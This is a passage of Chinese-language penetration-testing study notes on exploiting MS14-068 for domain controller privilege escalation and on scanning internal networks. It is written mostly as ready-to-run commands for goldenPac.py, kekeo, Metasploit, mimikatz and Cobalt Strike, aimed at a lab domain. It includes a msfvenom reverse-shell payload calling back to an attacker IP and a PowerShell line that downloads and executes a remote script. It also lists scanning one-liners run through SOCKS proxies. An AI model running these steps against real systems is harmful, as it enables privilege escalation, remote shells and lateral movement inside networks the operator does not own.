goldenPac.py 是一个用于对 Kerberos 协议进行测试的工具,它集成在 impacket 工具包里。
Kali 在使用之前需要先安装 Kerberos 客户端
apt-get install krb5-user -y
利用 goldenPac.py 获取 Shell
#python3 goldenPac.py 域名/域成员用户:密码@域控地址
python3 goldenPac.py 0day.org/jack:Aa123456@OWA2010SP3.0day.org
这里使用 IP 进行连接会连接不成功,只能使用主机名,因此可以在 hosts 文件中添加主机名对应的 IP(做一个映射)
goldenPac.py 是通过 PsExec 获得 Shell 的,因此会产生大量的日志,而且现在这种连接方式也已经被各大杀软所拦截。
kekeo
kekeo 也是一个工具集,其中包含了 ms14-068 的利用模块,kekeo 下载地址:https://github.com/gentilkiwi/kekeo
使用之前需要先清除票据
klist purge
然后直接使用 kekeo 生成高权限票据
kekeo.exe "exploit::ms14068 /domain:0day.org /user:jack /password:Aa123456 /ptt" "exit"
之后就可以直接 dir 域控或者 PsExec 连接到域控了
MSF
MSF 中也有 MS 14-086 的提权 EXP,不过需要结合 mimikatz 进行利用
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set domain 0day.org
set password Aa123456
set user jack
set user_sid S-1-5-21-1812960810-2335050734-3517558805-1133
set rhosts OWA2010SP3.0day.org
run
设置好域名、域控 IP、密码、用户、SID 后运行,将会获取一个 bin 文件
由于 MSF 里不支持 bin 文件的导入,因此需要 mimikatz 对其进行格式转换
kerberos::clist "20210923061821_default_192.168.3.142_windows.kerberos_484249.bin" /export
之后,生成一个木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.214.74 lport=4444 -f exe > shell.exe
将木马复制到目标主机上,并使其上线到 MSF
获得会话后,将刚才 mimikatz 转换后的 kirbi 文件导入到会话中
load kiwi
kerberos_ticket_use /tmp/0-00000000-jack@krbtgt-0DAY.ORG.kirbi
background
之后使用 current_user_psexec 模块
use exploit/windows/local/current_user_psexec
set session 2
set rhosts OWA2010SP3.0day.org
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.214.74
run
然后就会返回高权限的会话
Cobalt Strike
先利用前面的 ms14-068.py 生成一个 ccache 文件,之后使用 KrbCredExport 将 ccache 文件转为 kirbi 格式
KrbCredExport 下载地址:https://github.com/rvazarkar/KrbCredExport
python2 KrbCredExport.py TGT_jack@0day.org.ccache user.ticket
接着使用 CS 的 kerberos_ticket_use 加载 ticket,之后就能访问到域控了
此时想让域控上线自然也是没问题的了,可以先添加一个域控地址的 target,然后选择 PsExec ,勾选上 use session’s current access token 通过 jack 的会话上线即可。
内网探测技术
这里先阐述一下内网主机探测的不同场景:
-
获取到了webshell,此时一般用系统命令或上传脚本工具进行探测
-
主机已在目标内网(已经拿下一台内网主机),比如已经通过正向或者反向代理搭建隧道的场景。此时可以考虑proxychains+Nmap扫描
-
拿到了一个反弹shell,则可以考虑MSF。要根据不同的场景考虑支持存活探测的协议,包括了ARP、ICMP、SMB、 UDP、SNMP协议等;支持端口扫描的方式,包括TCP扫描、UDP扫描、ICMP扫描等
下面在列举内网不同协议的主机探测:
- ICMP协议
- TCP协议
- UDP协议
- Netbios协议
- ARP协议
- SMB协议
- SNMP协议
ping(基于ICMP协议探测)
服务器开启防火墙或者禁ping的时候不可用,否则影响探测结果。这里再提一下nmap的-Pn参数,即设置nmap为PN No ping扫描模式。如果远程主机有防火墙,可以使用-PN命令来确保nmap不ping远程主机,因为有时候防火墙会阻断ping请求。PN命令告诉nmap不用ping远程主机。使用-PN参数可以绕过ping命令,但是不影响主机的系统的发现。
# Windows cmd 下
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.244.%I | findstr "TTL="
或
for /l %i in (1,1,255) do @ping 192.168.244.%i -w 1 -n 1 | find /i "ttl="
# linux下
for k in $( seq 1 255);do ping -c 1 10.0.1.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
# 如果终端不方便显示结果,可以使用重定向符先写入到文件中再查看
使用ping效率低、时间久
nmap(推荐)
# 基于TCP协议探测(必须使用-sT、-Pn参数)
proxychains nmap -sT -Pn --min-rate 10000 192.168.244.128/24
proxychains nmap -sT -Pn --top-port 20 192.168.244.128/24
proxychains nmap -sT -Pn -p3306 192.168.244.128/24
亲测,nmap使用nps的socks5代理扫描端口时,会显示所有端口都打开,准确率极低,所以尽量不要使用nmap配合nps的socks5代理,可以选择其他的内网穿透工具,比如iox
msf
proxychains msfconsole
# 基于TCP协议探测
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.244.128
run
# 基于其他协议探测
use auxiliary/scanner/ftp/ftp_version
use auxiliary/scanner/ftp/anonymous
use auxiliary/scanner/http/http_version
use auxiliary/scanner/http/title
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/telnet/telnet_version
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/dns/dns_amp
use auxiliary/scanner/db2/db2_version
use auxiliary/scanner/rdp/rdp_scanner
use auxiliary/scanner/smtp/smtp_version
use auxiliary/scanner/pop3/pop3_version
use auxiliary/scanner/postgres/postgres_version
亲测,msf使用nps的socks5代理扫描端口时,会显示所有端口都打开,准确率极低,所以尽量不要使用msf配合nps的socks5代理,可以选择其他的内网穿透工具,比如iox
fscan(推荐)
# 使用socks代理进行扫描,如果没有socks代理,则需将fscan上传至目标内网跳板机
# fscan自带socks代理参数-socks5,注意不要使用proxychains,使用proxychains无法配合fscan,会扫不出东西
# fscan自带的socks代理参数-socks5不能配合nps的socks5代理,会显示所有主机存活,准确率极低
./fscan -h 192.168.244.1/24 -socks5 socks5://122.152.227.248:1080
./fscan -h 192.168.244.1/24 -np -nopoc -no -socks5 socks5://122.152.227.248:1080
Railgun(推荐)
Windows下的一款可视化工具,可以配合全局代理工具(如Proxifier、SocksCap64)进行内网扫描,速度极快
netspy
一款快速探测内网可达网段工具(能够知道当前主机能通哪些内网段)
需要上传至内网目标机器
Ladon
一款大型内网渗透工具
github地址:
- https://github.com/k8gege/Ladon
- https://github.com/k8gege/Aggressor
- https://github.com/k8gege/LadonGo
需要上传至内网目标机器
内网渗透常用指令与特性
常用指令
将远程脚本下载到本地并执行
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
列出Windows上当前正在运行的进程以及与每个进程相关联的服务:
tasklist /svc
# 常用于查看win上的杀软
列出所有本地用户账户:
net user
常用特性
-
PowerShell脚本执行的两种方式
#使用脚本全名 .\test.ps1 #使用脚本文件主名 .\test
鸣谢
-
《内网安全攻防:渗透测试实战指南》
-
WgpSec狼组安全团队
-
【建议收藏】内网学习笔记合集 | TeamsSixhttps://teamssix.com/210203-192358.html
-
网藤能力中心 | 深入Exchange Server在网络渗透下的利用方法-腾讯云开发者社区-腾讯云 (tencent.com)
-
Invoke-Command (Microsoft.PowerShell.Core) - PowerShell | Microsoft Learn
-
Enter-PSSession (Microsoft.PowerShell.Core) - PowerShell | Microsoft Learn
-
【精选】PowerShell: 如何使用PowerShell远程登录,如何使用PowerShell建立远程会话_IT大厨的博客-CSDN博客
-
ALTER DATABASE-Kompatibilitätsgrad (Transact-SQL) - SQL Server | Microsoft Learn
-
http://cybernigma.blogspot.com/2014/03/using-sspap-lsass-proxy-to-mitigate.html
-
https://fun0nydg.github.io/2021/02/15/Capture-Windows-plaintext-password.html
-
https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1
及辞的小彩蛋
刚学完黄金票据,新买的羽绒服上拆下来的标签也是金色的卡片,像极了黄金票据,缘分总是妙不可言,浅浅记录下